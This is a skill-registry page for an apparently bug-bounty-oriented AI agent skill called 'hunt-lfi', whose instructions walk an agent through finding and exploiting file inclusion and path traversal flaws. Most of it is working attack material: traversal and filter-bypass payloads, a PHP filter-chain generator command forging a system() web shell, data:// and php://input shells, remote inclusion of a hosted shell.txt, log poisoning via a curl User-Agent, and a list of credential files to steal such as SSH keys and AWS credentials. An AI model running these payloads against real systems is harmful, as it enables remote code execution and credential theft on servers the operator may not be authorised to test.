Skip to content
Skillv1.0.0

hunt-lfi

Hunt Local File Inclusion (LFI), Remote File Inclusion (RFI), and Path Traversal — /etc/passwd read, log poisoning → RCE, PHP filter-chain RCE (no upload needed), php:// / data:// / zip:// / phar:// w

by uphiago(0) 0 installs
Free
Sign in to install

Free account. Installing gives you the manifest plus copy-paste snippets.

See reviews

About

Imported from uphiago/recon-skills (redteam/hunt-lfi/SKILL.md). Install upstream with npx skills add uphiago/recon-skills --skill hunt-lfi. Copyright stays with the author (MIT).

HUNT-LFI — Local / Remote File Inclusion & Path Traversal

Crown Jewel Targets

LFI that reaches code execution is Critical. Pure file-read is High when it exposes secrets (.env, wp-config.php, private keys, cloud creds), Medium when it only reads non-sensitive files.

Highest-value chains (in rough order of reliability in 2026):

  • PHP filter-chain → RCE — the modern default. A bare php://filter file-read primitive is upgraded to RCE with no upload endpoint and no writable file by chaining iconv conversions to forge an arbitrary PHP payload in-memory (Synacktiv, 2022). See the dedicated section below. This is the single most impactful thing to try and the most-missed.
  • Log poisoning → RCE — inject PHP into an Apache/Nginx log (User-Agent / URL path), then include the log. Increasingly blocked by open_basedir and unreadable log perms, so verify the log is readable first.
  • PHP wrappers → source disclosurephp://filter/convert.base64-encode/resource=index.php leaks source; read source to find more LFI sinks, secrets, and the include base path.
  • RFI → RCE — when allow_url_include=On, ?file=http://OOB/shell.txt pulls and executes remote code. Rare on modern configs but trivially Critical when present.
  • phar:// deserialization — a crafted PHAR + any unserialize-on-metadata sink → object-injection RCE.
  • zip:// / data:// chains and session/upload poisoning when filters block wrappers.

OOB / Blind-LFI Confirmation Gate (Read First)

LFI is frequently blind: the included content is parsed/executed but never reflected, or the page swallows the file into a template you can't see. Do not claim LFI from indirect signals alone.

What is NOT confirmation

  • A different status code or error string for ../../etc/passwd vs a normal value. The app may be string-matching ../ and returning a canned 403/500 without ever touching the filesystem.
  • Your input echoed back inside an error message (e.g. failed to open '/var/www/../../etc/passwd'). That is the path formatter, not proof the file was read. A genuine read shows file contents, not your path.
  • A page that "looks different." Reflected-input or WAF block pages produce diffs unrelated to a real read.

What IS confirmation

  • Direct read: actual file contents appear (real root:x:0:0: line, real PHP source after base64-decoding the filter output).
  • Blind read via OOB exfil: use a php://filter or XXE-style chain whose payload performs a DNS/HTTP callback to your Burp Collaborator subdomain, or use an expect:// / wrapper that triggers an outbound request. A unique-per-sink Collaborator hit (DNS + HTTP, with the server's source IP) proves the include ran.
  • Blind read via differential/timing: include a file you know exists and is large (/etc/passwd) vs one that does not (/etc/passwd_nope_<rand>). Stable, repeatable response-length or latency delta = real filesystem access. Confirm with a third known-good path to rule out coincidence.

Default workflow

  1. Pick a unique marker target: prefer a file whose content you can fingerprint exactly (/etc/passwd → grep ^root:). For blind, use a php://filter base64 read and decode — partial/truncated base64 still decodes to recognizable source.
  2. Generate a sub-tagged Collaborator payload per sink (lfi-page.<collab>, lfi-tpl.<collab>) so callbacks identify which parameter fired.
  3. Send, wait 30–120s, poll OOB.
  4. Claim LFI only after a content match, a Collaborator callback, or a stable triple-confirmed timing/length delta. Echoed paths and lone status-code changes are retracted.

Attack Surface Signals

URL / Body Parameters

?page=  ?file=  ?path=  ?template=  ?view=  ?lang=  ?module=
?include=  ?doc=  ?load=  ?read=  ?content=  ?theme=  ?layout=
?component=  ?download=  ?img=  ?pdf=  ?report=  ?style=  ?dir=
JSON bodies: {"filename":...} {"template":...} {"path":...}

Technology Stack Signals

Signal Vector
PHP (X-Powered-By, .php, PHPSESSID) php:// filter-chain RCE, phar://, zip://, data://
Apache/Nginx logs readable Log poisoning → RCE (verify readability first)
Apache 2.4.49 / 2.4.50 (Server: banner) CVE-2021-41773 / CVE-2021-42013 traversal → RCE
PHP-CGI on Windows (XAMPP, php-cgi.exe) CVE-2024-4577 arg-injection → RCE
Java servlet (/WEB-INF/) WEB-INF/web.xml, classes/, application.properties
Python Flask/Django /proc/self/environ, settings.py, SECRET_KEY
Node.js file-serve / res.sendFile, express.static path-traversal read, require() traversal
Windows IIS / .NET ..\..\web.config, C:\Windows\win.ini, machineKey

Step-by-Step Methodology

Phase 1 — Identify Candidates

cat recon/$TARGET/urls.txt | gf lfi > recon/$TARGET/lfi-candidates.txt
grep -E "(\?|&)(page|file|path|template|view|lang|module|include|doc|load|read|content|download|img|pdf|report|dir)=" \
  recon/$TARGET/urls.txt
ffuf -u "https://$TARGET/FUZZ" -w ~/wordlists/lfi-paths.txt -mc 200,301,302

Phase 2 — Path Traversal (read)

?file=../../../etc/passwd
?file=....//....//....//etc/passwd            # ../ stripping once → ....// survives
?file=..%2f..%2f..%2fetc%2fpasswd             # single URL-encode
?file=..%252f..%252f..%252fetc%252fpasswd     # double encode (decoded twice server-side)
?file=%2e%2e%2f%2e%2e%2fetc%2fpasswd          # encode dots too
?file=/etc/passwd%00.png                      # null byte — PHP < 5.3.4 only
?file=....\/....\/etc\/passwd                  # mixed slash
# Prefix-forced base (app prepends /var/www/): pad with extra ../, or absolute path if no prefix
# UTF-8 overlong: %c0%ae%c0%ae%2f  (legacy servers)
# Windows
?file=..\..\..\windows\win.ini
?file=..%5c..%5c..%5cwindows%5cwin.ini
?file=C:\inetpub\wwwroot\web.config

Phase 3 — PHP Wrappers (source disclosure)

?file=php://filter/convert.base64-encode/resource=index.php   # decode base64 → source
?file=php://filter/read=string.rot13/resource=config.php
?file=php://filter/convert.base64-encode/resource=../app/Config.php
# Always base64-encode source reads: raw <?php ... ?> is parsed/swallowed and you see nothing.

Phase 4 — PHP Filter-Chain → RCE (no upload, no writable file)

The modern flagship technique (Synacktiv, 2022). If you have a php://-capable LFI that reads a file, you can also execute attacker-chosen PHP. iconv charset conversions, chained inside php://filter, emit controlled bytes that prepend to the resource until a full <?php ... ?> payload is forged — then include() runs it. No upload endpoint, no log access, no writable path required.

# Generate the chain (public command-line, no CVE — it abuses documented iconv behaviour):
#   git clone https://github.com/synacktiv/php_filter_chain_generator
python3 php_filter_chain_generator.py --chain '<?php system($_GET["c"]); ?>'
# Tool prints a long php://filter|convert.iconv.*|...|resource=php://temp string.
# Drop it into the sink:
?file=php://filter/convert.iconv.UTF8.CSISO2022KR|...<long-chain>...|convert.base64-decode/resource=php://temp&c=id

Notes / gotchas:

  • Requires the include sink to accept the php://filter scheme (most LFI sinks calling include/require/file_get_contents on the param do).
  • Payloads get long (10–50KB). If the param is length-capped or WAF-blocked on size, move it to a POST body, or use a minimal payload (<?=shorthand?>).
  • For blind targets, set the chain payload to a Collaborator callback (<?php file_get_contents("http://x.<collab>/".id);?>) to confirm execution OOB.
  • This works even when log poisoning fails (unreadable logs, open_basedir). Try it whenever you have a php:// filter read.

Phase 5 — Code-Execution Wrappers (config prerequisites)

# data:// — executes inline; REQUIRES allow_url_include=On
?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjJ10pOz8+&c=id   # <?php system($_GET['c']);?>

# php://input — body is treated as the included resource; ALSO REQUIRES allow_url_include=On
#   POST ?file=php://input    body: <?php system($_GET['c']); ?>
#   (Same prerequisite as data://. Do NOT assume this works on default PHP config.)

# expect:// — direct command exec; requires the (rare) expect extension loaded
?file=expect://id

Phase 6 — Remote File Inclusion (RFI)

RFI = the include target is a remote URL. Prerequisite: allow_url_include=On (and allow_url_fopen=On). Off by default on modern PHP, but still seen on legacy/misconfigured hosts.

# Host a payload you control, then:
?file=http://OOB-HOST/shell.txt          # shell.txt contains <?php system($_GET['c']); ?>
?file=https://OOB-HOST/shell.txt?
?file=ftp://OOB-HOST/shell.txt
# Detection without RCE: point at a Burp Collaborator HTTP URL. A callback (server IP) = the
# include fetched remotely → RFI confirmed even if execution is blocked. No callback = not RFI.
# Bypass appended extension (?file=$x.".php"): trailing ? or # to truncate, or ?file=http://OOB/shell

Phase 7 — Log Poisoning → RCE

# Step 1: inject PHP into a log the include can read
curl --max-time 30 --connect-timeout 10 -s "https://$TARGET/" -H "User-Agent: <?php system(\$_GET['c']); ?>"
# Step 2: include it (verify the log is readable first — read it plain before poisoning)
?file=../../../var/log/apache2/access.log&c=id
?file=../../../var/log/nginx/access.log&c=id
?file=/proc/self/fd/0&c=id                  # stdin fd (varies)
# Candidate logs: /var/log/apache2/access.log /var/log/httpd/access_log
#   /var/log/nginx/access.log /var/log/auth.log (SSH user poisoning) /proc/self/environ

Phase 8 — Session / Upload Poisoning

# PHP session: set payload in a stored field (username/profile), then include the session file
?file=/var/lib/php/sessions/sess_<PHPSESSID>&c=id
?file=/tmp/sess_<PHPSESSID>&c=id
# phar:// object injection (needs an unserialize-on-metadata sink + any file upload):
?file=phar:///var/www/uploads/evil.jpg     # JPEG magic bytes prepended to a PHAR
# zip:// — archive containing the target, or a symlink to /etc/passwd
?file=zip:///var/www/uploads/a.zip%23path/inside.txt

Phase 9 — Automation (then manual-confirm everything)

ffuf -u "https://$TARGET/page.php?file=FUZZ" -w ~/wordlists/lfi.txt -mc all -fr "not found"
wfuzz -c -z file,/usr/share/wfuzz/wordlist/vulns/lfi.txt --hh <baseline-len> \
  "https://$TARGET/page.php?file=FUZZ"
dotdotpwn -m http -h $TARGET -o unix
# Burp: Intruder over the bypass table; Collaborator for blind/RFI confirmation.

Named CVEs / Public Techniques (grounding)

Verified, correctly-attributed references for the patterns above:

  • PHP filter-chain to RCE — Synacktiv research (2022); php_filter_chain_generator. Not a CVE; an abuse of documented iconv behaviour. The reason a bare file-read upgrades to Critical.
  • CVE-2021-41773 — Apache HTTP Server 2.4.49 path traversal (%2e in normalized path) → file read, and RCE when mod_cgi is enabled.
  • CVE-2021-42013 — Apache HTTP Server 2.4.50 incomplete fix for the above (double-encoded %%32%65) → traversal/RCE.
  • CVE-2024-4577 — PHP-CGI argument injection on Windows (Best-Fit encoding); reachable on XAMPP-style stacks, chains from file-serve to RCE.

Grounding note: this skill is built from 31 disclosed LFI/path-traversal reports. When citing a specific HackerOne report in your write-up, link the exact report URL/ID you used — do not paraphrase a report ID from memory. A wrong ID is worse than none.


Sensitive Files to Read

# Linux
/etc/passwd  /etc/hosts  /etc/shadow (rarely readable)
/proc/self/environ  /proc/self/cmdline  /proc/self/status
/var/www/html/.env  /var/www/html/config.php  /var/www/html/wp-config.php
/home/*/.ssh/id_rsa  ~/.ssh/id_rsa  /root/.bash_history
/var/www/html/app/config/parameters.yml   # Symfony
.git/config  .git/HEAD  composer.json  package.json
# App / cloud secrets
/proc/self/environ  ~/.aws/credentials  ~/.docker/config.json  /run/secrets/*
# Windows / .NET
C:\Windows\win.ini  C:\inetpub\wwwroot\web.config  ..\..\web.config
C:\Windows\System32\inetsrv\config\applicationHost.config

Bypass Table

Filter Bypass
Strips ../ once ....// or ..../\ (re-forms ../ after strip)
URL-decodes once %252f (double-encode /), %252e for dots
Decodes once, blocks .. Encode dots: %2e%2e%2f / overlong %c0%ae (legacy)
Appends .php to input ? or # truncation; null byte %00 (PHP < 5.3.4)
Blocks php:// scheme try PHP://, pHp://, or data:// / expect://
Prepends fixed base dir enough ../ to escape; or absolute path if no base prepend
Blocks /etc/passwd literal path-truncation, /etc/./passwd, /etc//passwd
WAF on long filter-chains move chain to POST body / minimize payload
Windows ..\..\..\windows\win.ini, ..%5c..%5c

Chain Table

  • LFI primitive | Chain to | Impact | |---------------|----------|--------| | php://filter read | filter-chain RCE (Phase 4) | RCE with no upload — Critical | | File read | .env / config.php / wp-config.php | DB creds, API keys → backend takeover | | File read | /proc/self/environ, ~/.aws/credentials | env secrets, cloud keys → SSRF/IAM pivot | | Remote URL include | RFI (allow_url_include) | direct RCE — Critical | | File read + upload | phar:// / log / session poison | RCE — Critical | | Source disclosure | full app source | hardcoded secrets, new sinks, machineKey |

Verification

Run this self-test to confirm lfi hunting readiness:

  1. Skill integrity — confirm the skill file is readable and well-formed:

    grep -q "name: hunt-lfi" SKILL.md && echo "PASS: skill frontmatter present" || echo "FAIL"
    grep -q "revision_date:" SKILL.md && echo "PASS: revision date present" || echo "FAIL"
  2. Category check — confirm the skill has a category:

    grep -q "category:" SKILL.md && echo "PASS: category present" || echo "FAIL"
  3. Pitfalls section — confirm pitfalls are documented:

    grep -q "^## Pitfalls" SKILL.md && echo "PASS: pitfalls section present" || echo "FAIL"

All 3 tests verify the skill is properly structured and ready for use.


Pitfalls

  • LFI without file content/etc/passwd on a modern system without password hashes is informational. Need shadow file, SSH keys, or application config.
  • Path traversal without LFI../../../etc/passwd returning 200 but no file content is path traversal, not LFI. Different attack class.
  • LFI to RCE chain incomplete — LFI to /proc/self/environ or log poisoning requires specific conditions. Document the full chain.
  • PHP wrapper chainphp://filter base64 encode works on many PHP versions. Test before assuming LFI is unexploitable.
  • Null byte injection%00 truncation was patched in PHP 5.3.4+. Not applicable to modern PHP.

Related Skills

  • hunt-rce — LFI is the most direct path to RCE on PHP/Java stacks through filter-chain, log poisoning, or phar:// deserialization. Chain primitive: php://filter iconv chain (Synacktiv, 2022) converts a file-read primitive to arbitrary PHP execution without any upload or writable file — just the include() call and a long filter URL → ?cmd=id yields command output.
  • hunt-source-leak — LFI file reads overlap with source code disclosure. Chain primitive: LFI reads .env, wp-config.php, config.yml → extracts DB credentials, API keys, secrets → feeds those into cloud-iam-deep for escalation.
  • hunt-file-upload — Combined file-upload + LFI is the classic RCE chain. Chain primitive: upload an image with GIF89a;<?php system($_GET['c']);?> magic bytes → LFI includes /uploads/exploit.jpg → PHP now treats it as a script — RCE.
  • hunt-ssrf — LFI via wrapper chains sometimes reaches internal network. Chain primitive: include a file that triggers SSRF or use RFI (allow_url_include=On) to fetch remote URLs — SSRF through the LFI primitive.
  • hunt-source-leak — LFI reads source files that reveal other vulnerabilities. Chain primitive: LFI reads index.php → discovers include path and additional LFI parameters → expands attack surface.
  • security-arsenal — Reach for the LFI wrapper tree (php://filter, php://input, data://, phar://, zip://, expect://) before testing manual payloads. The filter-chain RCE generator is in the arsenal references.

Validation Discipline

Direct-read proof (not a false positive):

  • Show real contents, not your echoed path. /etc/passwd must contain a literal root:x:0:0:root:/root: line. Diff the response against a known-good param value — the delta must be the file body, not a WAF/error page.
  • For source reads, the base64 must decode to valid PHP. A garbage/empty decode = no real read.
  • Rule out reflection: confirm the marker text is not simply your input bounced back. Request /etc/passwd and /etc/passwd_<rand> (non-existent) — only the real file returns content.

Blind / OOB proof:

  • No reflection? Use a php://filter-chain or RFI payload that calls back to a unique Burp Collaborator subdomain. Require a DNS + HTTP hit with the server's source IP before claiming the include executed. Sub-tag per sink.
  • Timing/length blind: triple-confirm a stable delta (known-large file vs missing file vs second known file). One-off deltas are noise — retract.

Partial / truncated reads:

  • Templating may HTML-escape or cut the file. Use php://filter/convert.base64-encode so even a truncated read decodes to recognizable bytes; report exactly what you recovered, not what you assume is there.

RCE proof: show command output you control — id / whoami / hostname reflected, or an OOB callback from inside the executed payload (curl http://<collab>/). "The payload was accepted" is not RCE.

Severity:

  • Non-sensitive file read: Medium
  • File read exposing DB creds / API keys / private keys / cloud creds: High
  • RCE via filter-chain / RFI / log / session / phar / CVE: Critical

Use it

Copy one of these into your project. Installing also returns the manifest and these snippets.

yaml
targets:
  - https://api.opensmartroute.ai/api/v1/registry/uphiago-recon-skills-hunt-lfi/manifest   # or paste the manifest below

Manifest

An Open Capability Manifest: the router reads it to know what this does, what it costs and when to pick it.

uphiago-recon-skills-hunt-lfi.ocm.jsonjson
{
  "ocm": "1",
  "id": "uphiago-recon-skills-hunt-lfi",
  "kind": "skill",
  "name": "hunt-lfi",
  "description": "Hunt Local File Inclusion (LFI), Remote File Inclusion (RFI), and Path Traversal — /etc/passwd read, log poisoning → RCE, PHP filter-chain RCE (no upload needed), php:// / data:// / zip:// / phar:// wrappers, RFI via allow_url_include, directory traversal read/write/delete. Covers OOB/blind LFI confirmation and false-positive discipline. Use when hunting file-include or path-traversal bugs on any target.",
  "publisher": "uphiago",
  "version": "1.0.0",
  "capabilities": {
    "domains": [
      "general"
    ],
    "tags": [
      "skill-md",
      "lfi",
      "hunt",
      "redteam",
      "github"
    ],
    "languages": [
      "en"
    ]
  },
  "quality_prior": 0.6,
  "examples": [
    "Hunt Local File Inclusion (LFI), Remote File Inclusion (RFI), and Path Traversal — /etc/passwd read, log poisoning → RCE, PHP filter-chain RCE (no upload needed), php:// / data:// / zip:// / phar:// wrappers, RFI via allow_url_include, directory traversal read/write/delete. Covers OOB/blind LFI confirmation and false-positive discipline. Use when hunting file-include or path-traversal bugs on any target."
  ],
  "primary": false,
  "metadata": {
    "source": {
      "provider": "github",
      "repository": "https://github.com/uphiago/recon-skills",
      "path": "redteam/hunt-lfi/SKILL.md",
      "ref": "1260244136edc6ae698d76d3d526f503e322778d",
      "url": "https://github.com/uphiago/recon-skills/blob/1260244136edc6ae698d76d3d526f503e322778d/redteam/hunt-lfi/SKILL.md",
      "key": "uphiago/recon-skills/redteam/hunt-lfi/SKILL.md"
    },
    "license": "MIT"
  },
  "instructions": "# HUNT-LFI — Local / Remote File Inclusion & Path Traversal\n\n## Crown Jewel Targets\n\nLFI that reaches code execution is Critical. Pure file-read is High when it exposes secrets (`.env`, `wp-config.php`, private keys, cloud creds), Medium when it only reads non-sensitive files.\n\n**Highest-value chains (in rough order of reliability in 2026):**\n- **PHP filter-chain → RCE** — the modern default. A bare `php://filter` *file-read* primitive is upgraded to RCE with **no upload endpoint and no writable file** by chaining `iconv` conversions to forge an arbitrary PHP payload in-memory (Synacktiv, 2022",
  "cost": {
    "context_tokens": 4566
  }
}

Fetch it by URL: GET /api/v1/registry/uphiago-recon-skills-hunt-lfi/manifest?version=1.0.0

Reviews

Star ratings from people who tried it. One review per account; edit yours any time.

No reviews yet. Install it, try it, and be the first to rate it.